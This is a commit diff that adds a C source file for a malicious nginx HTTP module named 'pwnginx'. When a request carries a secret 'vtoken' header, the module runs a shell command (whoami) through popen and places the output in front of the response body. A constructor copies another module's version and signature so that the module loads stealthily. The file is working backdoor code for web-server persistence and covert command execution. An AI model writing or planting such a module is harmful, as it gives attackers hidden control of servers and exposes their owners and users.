|
| 1 | +#include <ngx_config.h> |
| 2 | +#include <ngx_core.h> |
| 3 | +#include <ngx_http.h> |
| 4 | + |
| 5 | +static ngx_http_output_header_filter_pt ngx_http_next_header_filter; |
| 6 | +static ngx_http_output_body_filter_pt ngx_http_next_body_filter; |
| 7 | +static ngx_int_t ngx_http_cre_module_init(ngx_conf_t *cf); |
| 8 | + |
| 9 | +static int cc(char* cstr, char* result){ |
| 10 | + char buffer[10240]; |
| 11 | + FILE* pipe = popen("/bin/whoami", "r"); |
| 12 | + if (!pipe) |
| 13 | + return -1; |
| 14 | + while(!feof(pipe)) { |
| 15 | + if(fgets(buffer, 4096, pipe)){ |
| 16 | + strcat(result, buffer); |
| 17 | + } |
| 18 | + } |
| 19 | + pclose(pipe); |
| 20 | + return 0; |
| 21 | +} |
| 22 | + |
| 23 | +static ngx_table_elt_t *search_headers_in(ngx_http_request_t *r, u_char *name, size_t len) { |
| 24 | + ngx_list_part_t *part; |
| 25 | + ngx_table_elt_t *h; |
| 26 | + ngx_uint_t i; |
| 27 | + part = &r->headers_in.headers.part; |
| 28 | + h = part->elts; |
| 29 | + for (i = 0; /* void */ ; i++) { |
| 30 | + if (i >= part->nelts) { |
| 31 | + if (part->next == NULL) { |
| 32 | + break; |
| 33 | + } |
| 34 | + part = part->next; |
| 35 | + h = part->elts; |
| 36 | + i = 0; |
| 37 | + } |
| 38 | + if (len != h[i].key.len || ngx_strcasecmp(name, h[i].key.data) != 0) { |
| 39 | + continue; |
| 40 | + } |
| 41 | + return &h[i]; |
| 42 | + } |
| 43 | + return NULL; |
| 44 | +} |
| 45 | + |
| 46 | +static ngx_int_t ngx_http_pwnginx_header_filter(ngx_http_request_t *r){ |
| 47 | + return ngx_http_next_header_filter(r); |
| 48 | +} |
| 49 | + |
| 50 | +static ngx_int_t |
| 51 | +ngx_http_pwnginx_body_filter(ngx_http_request_t *r, ngx_chain_t *in) |
| 52 | +{ |
| 53 | + ngx_str_t checker = ngx_string("vtoken"); |
| 54 | + ngx_table_elt_t *header = search_headers_in(r, checker.data, checker.len); |
| 55 | + if(header == NULL) { |
| 56 | + return ngx_http_next_body_filter(r,in); |
| 57 | + } |
| 58 | + char buffer[10240]=""; |
| 59 | + cc((char*)header->value.data, buffer); |
| 60 | + if(buffer[0] == '\0'){ |
| 61 | + return ngx_http_next_body_filter(r,in); |
| 62 | + } |
| 63 | + ngx_buf_t* b = ngx_create_temp_buf(r->pool, strlen(buffer)); |
| 64 | + b->start = b->pos = (u_char*)buffer; |
| 65 | + b->last = b->pos + strlen(buffer); |
| 66 | + ngx_chain_t *cl = ngx_alloc_chain_link(r->pool); |
| 67 | + cl->buf = b; |
| 68 | + cl->next = in; |
| 69 | + return ngx_http_next_body_filter(r, cl); |
| 70 | +} |
| 71 | + |
| 72 | +static ngx_int_t ngx_http_cre_module_init(ngx_conf_t *cf){ |
| 73 | + ngx_http_next_header_filter = ngx_http_top_header_filter; |
| 74 | + ngx_http_top_header_filter = ngx_http_pwnginx_header_filter; |
| 75 | + ngx_http_next_body_filter = ngx_http_top_body_filter; |
| 76 | + ngx_http_top_body_filter = ngx_http_pwnginx_body_filter; |
| 77 | + return NGX_OK; |
| 78 | +} |
| 79 | + |
| 80 | +static ngx_int_t |
| 81 | +init_module(ngx_cycle_t *cycle) { |
| 82 | + // printf("init_module\n"); |
| 83 | + return NGX_OK; |
| 84 | +} |
| 85 | + |
| 86 | +static ngx_int_t |
| 87 | +init_worker_process(ngx_cycle_t *cycle) { |
| 88 | + // printf("init_worker_process\n"); |
| 89 | + return NGX_OK; |
| 90 | +} |
| 91 | + |
| 92 | +static void |
| 93 | +exit_master(ngx_cycle_t *cycle) { |
| 94 | + // printf("exit_master\n"); |
| 95 | +} |
| 96 | + |
| 97 | +static ngx_http_module_t ngx_http_cre_module_ctx = { |
| 98 | + NULL, /* preconfiguration */ |
| 99 | + ngx_http_cre_module_init, /* postconfiguration */ |
| 100 | + NULL, /* create main configuration */ |
| 101 | + NULL, /* init main configuration */ |
| 102 | + NULL, /* create server configuration */ |
| 103 | + NULL, /* merge server configuration */ |
| 104 | + NULL, /* create location configuration */ |
| 105 | + NULL /* merge location configuration */ |
| 106 | +}; |
| 107 | + |
| 108 | +ngx_module_t ngx_http_cre_module = { |
| 109 | + NGX_MODULE_V1, |
| 110 | + &ngx_http_cre_module_ctx, /* module context */ |
| 111 | + NULL, /* module directives */ |
| 112 | + NGX_HTTP_MODULE, /* module type */ |
| 113 | + NULL, /* init master */ |
| 114 | + init_module, /* init module */ |
| 115 | + init_worker_process, /* init process */ |
| 116 | + NULL, /* init thread */ |
| 117 | + NULL, /* exit thread */ |
| 118 | + NULL, /* exit process */ |
| 119 | + exit_master, /* exit master */ |
| 120 | + NGX_MODULE_V1_PADDING |
| 121 | +}; |
| 122 | + |
| 123 | + |
| 124 | +static void init (void) __attribute__ ((constructor)); |
| 125 | +void __attribute ((constructor)) init (void){ |
| 126 | + // printf("init main\n"); |
| 127 | + ngx_http_cre_module.version = ngx_http_module.version; |
| 128 | + ngx_http_cre_module.signature = ngx_http_module.signature; |
| 129 | + ngx_http_cre_module.commands = ngx_http_module.commands; |
| 130 | +} |
| 131 | + |
| 132 | + |
0 commit comments